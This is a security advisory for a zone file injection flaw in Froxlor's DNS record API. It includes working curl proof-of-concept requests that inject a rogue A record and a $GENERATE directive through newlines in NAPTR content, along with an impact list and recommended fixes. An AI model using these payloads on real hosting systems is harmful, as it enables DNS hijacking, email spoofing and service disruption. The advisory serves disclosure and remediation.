Froxlor has a BIND Zone File Injection via Unsanitized DNS Record Content in DomainZones::add()

Newlines in $_content produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.

Zone file write — Bind.php:121:

// lib/Froxlor/Cron/Dns/Bind.php:121
fwrite($zonefile_handler, $zoneContent . $subzones);

The AntiXSS filter applied at the API layer (Api.php:91) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (formfield.dns_add.php:42-56), but this is client-side only — the server-side DomainZones::add() has no corresponding whitelist.

Execution flow:

1. Customer sends API request with type=NAPTR and content containing \n-separated lines
2. getParam() returns raw values without sanitization
3. Type NAPTR matches none of the if/elseif conditions — no content validation runs
4. trim($content) preserves embedded newlines
5. Content is inserted into domain_dns table via prepared statement
6. DNS cron creates DnsEntry objects from DB records (Dns.php:297)
7. DnsEntry::__toString() outputs content with embedded newlines into zone format
8. Bind.php:121 writes zone to disk; BIND loads the file and processes injected lines as records

PoC

Step 1: Inject a DNS record with embedded newlines via API

curl -s -X POST 'https://froxlor.example.com/api.php' \
  -u 'APIKEY:APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "id": 1,
      "type": "NAPTR",
      "content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ."
    }
  }'

Expected: HTTP 200 with success response. The record is stored in the database.

Step 2: Wait for DNS cron to rebuild zones (or trigger manually)

# As admin, trigger the DNS rebuild cron
php /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns

Step 3: Inspect the generated zone file

cat /etc/bind/domains/example.com.zone

Expected zone file content includes injected lines:

@    18000    IN    NAPTR    100 10 "" "" "" .
@ 300 IN A 1.2.3.4
@ 300 IN NAPTR 100 10 "" "" "" .

The line @ 300 IN A 1.2.3.4 is parsed by BIND as an independent A record pointing the domain to the attacker's IP.

Step 4: Verify BIND directive injection

curl -s -X POST 'https://froxlor.example.com/api.php' \
  -u 'APIKEY:APISECRET' \
  -H 'Content-Type: application/json' \
  -d '{
    "command": "DomainZones.add",
    "params": {
      "id": 1,
      "type": "NAPTR",
      "content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com."
    }
  }'

This injects a $GENERATE directive that creates 255 PTR records.

Impact

An authenticated customer with DNS editing enabled can:

1. Inject arbitrary DNS records bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.
2. Manipulate email authentication by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.
3. Inject BIND server directives ($INCLUDE, $ORIGIN, $GENERATE) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records.
4. Cause DNS service disruption by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.

While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.

Recommended Fix

1. Add a type whitelist in DomainZones::add() (primary fix):

// lib/Froxlor/Api/Commands/DomainZones.php — after line 93
$type = $this->getParam('type', true, 'A');

$allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT'];
if (!in_array($type, $allowed_types)) {
    throw new Exception("DNS record type '" . htmlspecialchars($type) . "' is not supported", 406);
}

2. Strip newline characters from content (defense-in-depth):

// lib/Froxlor/Api/Commands/DomainZones.php — replace line 154
$content = trim(str_replace(["\r", "\n"], '', $content));

3. Sanitize in DnsEntry::__toString() as a belt-and-suspenders measure:

// lib/Froxlor/Dns/DnsEntry.php — at the start of __toString()
$_content = str_replace(["\r", "\n"], '', $this->content);